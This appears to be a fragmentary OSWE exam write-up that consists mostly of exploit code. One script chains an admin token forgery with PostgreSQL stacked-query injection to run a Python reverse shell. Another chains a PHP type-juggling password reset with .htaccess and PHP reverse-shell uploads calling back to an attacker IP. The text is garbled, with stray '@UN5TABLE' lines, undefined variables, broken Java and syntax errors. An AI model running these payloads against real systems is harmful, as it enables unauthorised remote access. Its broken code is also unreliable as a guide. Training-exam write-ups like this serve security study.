Awae Oswe Exam Writeup 2022
Awae Oswe Exam Writeup 2022
Awae Oswe Exam Writeup 2022
Proof of Concept :
1. soapbox_exploit.py
#!/usr/bin/env pyhton
import requests,time,string,subprocess,base64,random,re,sys
@UN5TABLE
target = 'http://TODO' # Target IP
# random username
mein_email = username+'@soapbx.local'
# Initialization
session = requests.Session()
session.get(target+'/')
# Create account
session.post(target+'/signup', data =
{'submit':'Submit','email':mein_email,'password':'P@55w0rd123','username':
username})
# Log in
session.post(target+'/login', data =
{'submit':'Submit','username':username,'password':'P@55w0rd123','rememberm
e':True})
myuser_token = session.cookies.get_dict()["rememberme"]
# Log in as admin
session.get(target+'/login', cookies={'rememberme': tokenadmin})
# PostGreSQL RCE
b64payload = base64.b64encode(f'import
socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM
);s.connect(("{attacker_ip}",4444));os.dup
2(
s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/
bash")'.encode('utf-8'))
session.get(target+"/admin/users/category?id=1; COPY(SELECT
convert_from(decode('"+b64payload.decode('utf-
8')+"','base64'),'utf-8')) to '/tmp/shell.py';DROP TABLE IF EXISTS
cmd_exec;CREATE TABLE cmd_exec(cmd_output
@UN5TABLE
text);COPY cmd_exec FROM PROGRAM 'python3 /tmp/shell.py';")
2. Tokenizer.java
import java.security.MessageDigest;
import javax.crypto.SecretKey;
import javax.crypto.Cipher;
import java.lang.instrument.Instrumentation;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
class Tokenizer
{
try {
SecretKey key = getKeyForUser(user, uuid);
Cipher cipher = Cipher.getInstance("DESede/ECB/PKCS5Padding");
cipher.init(2, key);
byte[] enc = Base64.getUrlDecoder().decode(token.getBytes("UTF-8"));
byte[] plain = cipher.doFinal(enc);
return new String(plain, "UTF-8");
}
catch (Exception e) {
return "";
}
}
@UN5TABLE
return value;
}
catch (Exception e) {
e.printStackTrace();
return
}
}
Methodology :
Host : Akount
Vulnerability 1 : Type Juggling
The source code of the application uses a loose comparison in the reset
password process.
@UN5TABLE
The lack of a specific type means that PHP operates on a "best-guess”
principle (called type juggling), where PHP converts the value of a variable
to the most appropriate type for the action being carried out.
For example, the following assertion is true, because 0123456 is equal to
0666:
if "0e123456” == "0e666"
In combination with the bruteforce of a magic hash, a anonymous attacker is
able to reset any account password, including administrator's password.
Remediation: Perform a strict comparison with the use of === instead of ==.
Furthermore, truncation of a hash is not recommended.
Proof of Concept :
1. Exploit_file.py
#!/usr/bin/env python
import requests, re, time, sys
session = requests.Session()
session.get(target) def ResetLink():
session.post(target+'/forgot', data={'email': email}) def Test():
return True
else:
return False
while True:
@UN5TABLE
ResetLink()
if Test():
session.post(f'{target}/reset/1/{ts}/0e123456', data=
{'password':password}) # Ander das Passwort
# Login
session.post(target+'/login', data={'email':email, 'password':password})
# Upload htaccess
session.post(target+'/import', files={'file':('.htaccess', RewriteEngine
on
RewriteRule shell.php shell.php6)})
# Upload Shell
session.post(target+'/import', files={'file': ('shell.php6', f'<?php
$s=fsockopen("{attacker_ip}",4444);$p=proc_open("/bin/sh - i"
,array(0=>$s,1=>$s,2=>$s),$pipes); ?>')})
session.get(target+'/imports/shell.php');
METHODOLOGY
Screenshots :
@UN5TABLE
@UN5TABLE
@UN5TABLE